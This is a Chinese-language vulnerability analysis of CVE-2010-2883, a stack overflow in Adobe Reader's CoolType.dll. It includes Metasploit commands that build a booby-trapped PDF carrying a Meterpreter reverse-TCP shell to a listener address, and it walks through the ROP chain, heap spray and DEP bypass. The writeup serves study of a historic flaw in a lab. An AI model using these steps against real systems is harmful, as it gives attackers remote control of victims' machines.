CVE-2010-2883漏洞分析
1 漏洞信息
-
这个漏洞的例子来自《漏洞战争:软件漏洞分析精要》,一本关于漏洞挖掘的书,里面很多经典的例子值得学习。
-
本文主要对第二章的
CVE-2010-2883
漏洞进行分析,这个漏洞是一个栈溢出漏洞,其原理是通过构造一个特殊 PDF 文件,使得程序在读取该文件时,导致栈溢出。 -
Adobe Reader
中的CoolType.dll
在解析 TTF 字体文件 SING 表的uniqueName
字段时,由于没有检查长度直接调用了strcat
函数,将uniqueName
拷贝到栈中(局部变量),造成栈缓冲区溢出漏洞。 -
当用户打开特制的 PDF 就有可能导致
任意代码执行
。
1.1 漏洞影响
Adobe Reader 和 Acrobat 9.x 9.4 之前的 CoolType.dll 以及 Windows 和 Mac OS X 上的 8.x 8.2.5 之前的 CoolType.dll。
1.2 研究目的
metasploit
的使用,expolit
的编写。- 栈溢出漏洞调试技术
Heap Spray
技术- 如何利用
ROP
绕过DEP
2 漏洞复现
Metasploit
是一款开源的渗透测试框架,提供了许多渗透测试相关的工具和模块。可以帮助安全研究人员在渗透测试中收集信息、执行攻击、检测漏洞等。接下来我们用metasploit
来演示漏洞的利用过程。
2.1 环境准备
环境 | 版本 | |
---|---|---|
操作系统 | Windows XP Professional SP3 | 简体中文版 |
虚拟机 | VMware Fusion | 专业版 12.2.4 (20071091) |
调试器 | OllyDbg | 吾爱破解 OllyDbg |
漏洞软件 | Adobe Reader | 9.3.4 |
2.2 实施攻击
- 进入 msf 终端,
msfconsole
- 搜索 exp:
search adobe_cooltype_sing
- 选择第二个 exp:
use exploit/windows/fileformat/adobe_cooltype_sing
- 设置 payload:
set payload windows/meterpreter/reverse_tcp
- payload 设置 vmware 对应的网卡地址:
set LHOST 172.16.31.1
- payload 设置端口:
set LPORT 4444
- 生成 pdf 样本:
exploit
- 配置 handler:
use exploit/multi/handler
- 为 handler 设置相同的 payload(过程同上)
- 执行 expolit 等待 🐤 上线:
exploit
- 发送 msf.pdf 到靶机,打开即可看到 meterpreter 获取了 shell
migration
命令将session
迁移到其他进程中。简单的示例:
|
|
实施过程中有很多知识点不甚明了,比如msf.pdf如何生成
、sending stage
发送的是什么,这里先不展开细说,后面再一一补充。
3 原理分析
先看看msf.pdf
文件格式,以及 TTF
字体文件格式,然后再结合 IDA静态分析
、OD动态调试
,分析漏洞的产生。
3.1 PDF 文件格式
PDF 文件是一种文档格式,它的结构由四部分组成:
header
- 文件头部,用于存储文件的基本信息,包括版本号、文件类型、标识符等。具体内容取决于 PDF 文件的版本和类型,通常格式为%PDF-x.y,版本历经了 1.0、1.1、1.2、1.3、1.4、1.5、1.6、1.7、2.0 多个版本。
body
- 文件内容部分,包含文档的内容信息,由一系列的文档对象组成。文档对象可以是文本对象、图形对象、图像对象等。文本对象用于存储文档中的文本内容,可以指定字体、颜色、大小等样式。图形对象用于存储文档中的图形信息,可以指定线条、填充、形状等特征。图像对象用于存储文档中的图像信息,可以指定格式、大小、色彩等属性。
xref table
- 交叉引用表,用于记录文档对象的位置信息。它的结构由一系列的交叉引用记录组成,每个记录都由一个偏移量和一个
generation number
组成。偏移量指示文档对象在文件中的位置,generation number
用于标识文档对象是否存在。它通常用整数值来表示,如果文档对象存在,则generation number
的值为 0;如果文档对象不存在,则generation number
的值为 1。
- 交叉引用表,用于记录文档对象的位置信息。它的结构由一系列的交叉引用记录组成,每个记录都由一个偏移量和一个
trailer
- 文件尾部,包括 trailer 字典,它有助于找到文件的每个部分, 并列出可以在不处理整个文件的情况下读取的各种元数据。
用 pdfstreamdumper 打开msf.pdf
文件,可以看到它的结构如下:
对象 10 是TTF
字体对象,对象 12 是 javascript
脚本对象
TTF
对象包含一个 SING 表,SING 技术是 Adobe 公司推出的一种高效的字符渲染技术,它主要用于实现文本的快速渲染和显示。它不仅可以用于解决“外字”(Gaiji)的问题,还能够应用于处理各种常见的文本内容。支持多种字体格式,如 TrueType、OpenType 等。
所以字体文件一般都允许携带 SING 表,字体的其它表不做深究,来看下 SING 表的结构:
TTF表目录
结构如下:
|
|
结合pdfstreamdumper
dump 出来的内容,很容易找到 SING 表的TableEntry
,offset 成员指向的就是 SING 表的起始地址
uniqueName
字段在SING表 + 16
的位置, 上图中 SING 表地址的下一行位置,数据为 DA 65 B9 87 ...
。指向的数据将最为strcat
的第二个参数。
3.2 静态分析
IDA
加载adobe reader
安装目录下的CoolType.dll
,搜索SING
字符串,交叉引用, 找到引用位置不远处有一个strcat
函数,说明定位到了漏洞函数。
将上面的两个 C 结构体导入到IDA
中,然后对v18
右键,转换成SING结构体指针
从反编译结果可以看出,strcat
函数的第一个参数为局部变量,且没有对uniqueName
长度做检查,从而导致了栈溢出。
来到函数头,发现有安全 cookie,存在GS
机制
用010 editor
打开目标 exe,发现开启了基址随机化ASLR
3.3 动态分析
打开adobe reader
软件, OD 附加进程,ctrl+g
跳转到静态分析得到的strcat
调用地址0x0803DD74
,F2 设置断点。F9 让软件跑起来。
然后双击样本msf.pdf
,成功断在 strcat 位置,F8 步过,此时查看堆栈窗口。
返回地址已经被覆盖为0x4A82A714
,右键反汇编窗口跟随。
跳转到pop esp;
指令,这里运用了ROP
技术。
ROP(Return-Oriented Programming)
是一种高级攻击技术,用于在无法直接执行恶意代码的情况下,通过控制流程来执行攻击。它主要用于绕过程序的安全防护措施,如代码签名验证
、数据执行保护(DEP)
等。
ROP
技术与栈溢出漏洞相关,利用漏洞将恶意代码写入栈中,并通过控制程序的指令流来执行恶意代码。攻击者通常会构造一个包含多个指令的序列,该序列中的每个指令都是在目标程序中已经存在的正常指令,可以在不触发异常的情况下执行。这些指令序列称为gadget
。攻击者可以通过将多个 gadget
组合起来,攻击者可以在不能执行恶意代码的情况下,执行攻击。
ROP
技术通常与 POP ESP
指令结合使用,即将栈顶指针弹出,指向恶意代码。当程序流经 POP ESP
指令时,栈顶指针会指向恶意代码,导致程序执行恶意代码。通过这种方式,攻击者可以在不能直接执行恶意代码的情况下,通过控制程序流来执行攻击。
ROP
技术具有一定的难度,需要构造复杂的序列,并且需要在攻击目标中搜寻足够多的 gadget
。同时,ROP
技术也可能会受到操作系统的限制,导致攻击无法成功。
在使用 ROP
技术进行攻击时,攻击者可以通过不同的方式来控制程序的指令流,如通过硬编码 gadget
序列,或通过搜索程序中的 gadget
来动态构造序列。无论使用哪种方式,ROP
技术都是一种高级的攻击手段,能够有效绕过程序的安全防护措施,执行攻击。
pop esp
将栈中跳转地址下一地址的内容0x0C0C0C0C
赋值给 esp
寄存器,这时候栈为0x0C0C0C0C
。ret
等同于pop eip
,当执行ret
指令后,将0x0C0C0C0C
指向的内容赋值给eip
。
观察0x0C0C0C0C
位置的 rop 链,调用的都是 icucnv36.dll
库中的地址,因为这个库没有开启aslr
保护。
0x0C0C0C0C
处的 rop 链是什么时候创建出来的?这里我们需要研究一下HeapSpray
堆喷技术。
堆喷射是在 shellcode
的前面加上大量的 slide code
(跳板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得内存被大量的注入代码占据。然后通过结合其他漏洞控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。
常见的 slide code
有 NOP
指令,还有一些类 NOP
指令,比如 0x0c
,0x0d
等。它们的共同特点都是不会影响 shellcode
的执行。
随机申请大量内存,如何准确的跳转到 shellcode 上呢?这就是slide code
的作用,如果 shellcode
前面有很长的 side code
,只要跳转到 slide code
范围内的任意地址,最后都能执行 shellcode。
堆内存分配是随机的,没有规律,所以需要大量分配,由于起始分配地址很大,堆很可能覆盖到地址:0x0a0a0a0a,0x0c0c0c0c,0x0d0d0d0d 等,为了稳定覆盖到 0x0c0c0c0c 地址,一般申请内存大小为 200M
加载 pdf 的时候,程序先执行 pdf 中的 js 脚本,在 js 中大量申请堆内存,覆盖到 0x0c0c0c0c
地址。所以,上面两条指令执行后,才真正拿到了控制权。
我们想要知道程序是怎么读取栈区进行跳转。继续往下走,来到call dword ptr ds:[eax]
,eax 处于我们覆盖的栈数据地址范围内。
跳转过去,看到三条指令。调整 ebp 我们覆盖的栈区,strcat
dest+4 地址。然后执行 leave
修改 esp,leave
作用类似于mov esp,ebp/pop ebp
。执行 retn 指令后,将跳转执行pop esp/retn
,进入到0x0C0C0C0C
执行 我们的 shellcode。
TODO: 既然能调整 esp 了,为什么要再加一层跳转?
继续单步调试,分析0x0C0C0C0C
位置的 rop
链
调用CreateFileA
创建临时文件iso88591
调用CreateFileMappingA
创建文件映射内核对象。
调用MapViewOfFile
将文件映射对象映射到当前应用程序的地址空间。
调用memcpy
函数将 shellcode 写入到 MapViewOfFile 返回的地址。这段内存分配了可读可先可执行权限,于是就绕过了 DEP
保护。
接下来循环解密 shellcode
跳转到 0x037400B0
执行解密后的 shellcode
3.4 exploit 流程
- 双击
msf.pdf
,首先加载 js 脚本 - js 堆喷射
shellcode
到堆地址0x0C0C0C0C
范围内。shellcode = rop链 + payload(解密指令+密文)
- 解析 SING 表的
uniqueName
,触发栈溢出,通过 stack_data 的指令跳转到0x0C0C0C0C
执行 rop 链。 - 执行 rop 链,创建可读可写可执行内存,将 payload 复制到内存。跳转到 payload
- 解密,执行 payload。
4 知识扩展
- 分析 js 堆喷射代码
4.1 分析 js 堆喷射代码
我们将 js 脚本提取出来,一行行分析。
|
|
windows 堆分配按照 64kb 分配,堆块的首地址对齐 0x10000。堆块的大小为 0x100000(1M)
所以,只要低四位为 0C0C 的地址,指向 payload,就能达到精准喷射。
经过上面的分析,我们知道 shellcode 的大小为 0x10000(1M), payload 的地址在 shellcode 偏移 0xbe8 的位置。
如何理解前面 slide code 的长度0xbe8 = 0x0c0c-0x24
? 是因为每个内存块(65536)的头部有一些额外信息
。
假设堆的起始地地址为0xc0c0000
, 0xc0c0000 + 0x24
正好指向 payload:0xc0c0c0c = 0xc0c0000 + 0x24 + 0xbe8
。